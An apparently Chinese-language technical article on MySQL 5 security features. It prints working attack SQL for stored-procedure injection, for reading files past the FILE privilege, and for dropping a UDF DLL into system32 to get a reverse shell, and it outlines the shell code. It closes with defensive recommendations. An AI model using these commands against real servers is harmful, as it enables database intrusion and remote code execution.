首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 5 安全新特性深度分析:存儲過程注入、UDF 提權、資訊洩露

     編輯:MySQL 資料庫相關知識

MySQL 5 安全新特性深度分析:存儲過程注入、UDF 提權、資訊洩露

MySQL 5 引入存儲過程、觸發器、視圖、information_schema 等新特性,在帶來功能強大的同時,也引入新的攻擊面。本文深度剖析密碼雜湊、資訊洩露、存儲過程 SQL 注入與跨權限、UDF 格式變更與繞過限制等安全風險。

一、密碼認證機制變更

  • MySQL 4.1+ 採用 SHA1 基礎的 41 位雜湊:PASSWORD('pass') → *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4
  • 舊版 16 位 MD5:6f8c114b58f2ce9e
  • 低版本客戶端連接報錯 Client does not support authentication protocol
  • 相容方案:OLD_PASSWORD() 產生舊版雜湊

二、information_schema:資訊洩露核心

系統資料庫 information_schema 暴露大量元資料,若當前用戶權限過高(如 root),攻擊者可直接獲取:

  • 所有資料庫/表/欄位名:SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS;
  • 當前用戶權限:SELECT * FROM information_schema.USER_PRIVILEGES;
  • 視圖定義:SELECT * FROM information_schema.VIEWS;
  • 預存程序/函數原始碼:SELECT ROUTINE_DEFINITION FROM information_schema.ROUTINES;
  • 觸發器、約束、權限等

風險:SQL 注入中無需盲注暴力猜解表名欄位名,直接查詢 information_schema 即可獲取完整結構。

三、存儲過程:SQL 注入與跨權限攻擊

1. 存儲過程 SQL 注入


-- Root 建立存儲過程
CREATE PROCEDURE test(id INT)
BEGIN
  SELECT * FROM `in`.`user` WHERE userid = id;
END;

-- 攻擊者調用
CALL test(1 AND 1=1);  -- 返回資料
CALL test(1 AND 1=2);  -- 空結果
-- 盲注條件成立,可進一步提取資料

存儲過程參數未經參數化處理,直接拼接進 SQL,導致注入。

2. 跨權限提權

  • 存儲過程以定義者權限執行
  • Root 建立的存儲過程,普通用戶(僅有 EXECUTE 權限)調用時,以 Root 權限執行
  • 可繞過 FILE 權限限制執行 LOAD_FILE()、INTO OUTFILE
  • 可直接操作 mysql.user 修改密碼、提權

-- 普通用戶 KK1 調用 Root 建立的 test()
CALL in.test(1 AND LENGTH(LOAD_FILE('c:/boot.ini'))>0);
-- 成功讀取檔案,繞過 FILE 權限檢查

四、UDF (User-Defined Function) 攻擊

1. MySQL 5 格式要求更嚴格

  • 必須實現 xxx_init() 初始化函數,否則報錯 Can't find function 'xxx_init' in library
  • 標準 UDF 結構需包含:xxx_init, xxx_deinit, xxx 三個函數

2. DLL 必須放在 system32 目錄

  • MySQL 5 限制 UDF 對應 DLL 僅能從 C:\Windows\System32 載入
  • 低權限用戶無寫入權限

3. 繞過 system32 限制:INTO DUMPFILE 寫入 DLL


USE mysql;
CREATE TABLE heige (line BLOB);
INSERT INTO heige VALUES (LOAD_FILE('c:/udf.dll'));
SELECT * FROM heige INTO DUMPFILE 'c:/winnt/system32/heige.dll';
CREATE FUNCTION shell RETURNS INTEGER SONAME 'heige.dll';
SELECT shell('127.0.0.1', '1234');  -- 反彈 Shell

利用 MySQL 的 LOAD_FILE 讀取攻擊者控制的 DLL,再用 INTO DUMPFILE 寫入 system32,繞過寫入權限限制。

五、完整 UDF 反彈 Shell 代碼範例(Windows C++)

關鍵結構:


my_bool shell_init(UDF_INIT *init, UDF_ARGS *args, char *message) {
  // 參數檢查:2 個字串參數
}
int shell(UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error) {
  // 1. 建立 Socket 連回攻擊者 IP:Port
  // 2. 建立匿名管道
  // 3. CreateProcess 啟動 cmd.exe,標準輸入/輸出/錯誤重導向至管道
  // 4. 循環:讀管道輸出 → 送 Socket;收 Socket 輸入 → 寫管道
  // 5. 收到 "exit" 結束
}

編譯為 DLL,配合上述 INTO DUMPFILE 技術即可在 MySQL 5 上實現 RCE。

六、防禦建議

  1. 最小權限原則:應用帳號僅授予必要庫/表的 CRUD,嚴禁 FILE、PROCESS、SUPER、CREATE ROUTINE 等高危權限
  2. 禁用存儲過程動態 SQL:存儲過程內嚴禁拼接 SQL,改用參數化預處理
  3. 嚴格控制 CREATE ROUTINE / CREATE FUNCTION 權限:僅 DBA 持有
  4. 檔案系統保護:system32 目錄嚴格 ACL,禁止非管理員寫入;MySQL secure_file_priv 限制 LOAD_FILE/INTO OUTFILE 目錄
  5. 審計 information_schema 存取:監控異常查詢元資料的行為
  6. 升級至 MySQL 5.7+/8.0:移除舊版 UDF 機制、預設 secure_file_priv、密碼雜湊升級、存儲過程權限模型改進
  7. WAF/資料庫防火牆:攔截可疑 SQL(LOAD_FILE, INTO OUTFILE, CREATE FUNCTION, information_schema.ROUTINES)
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved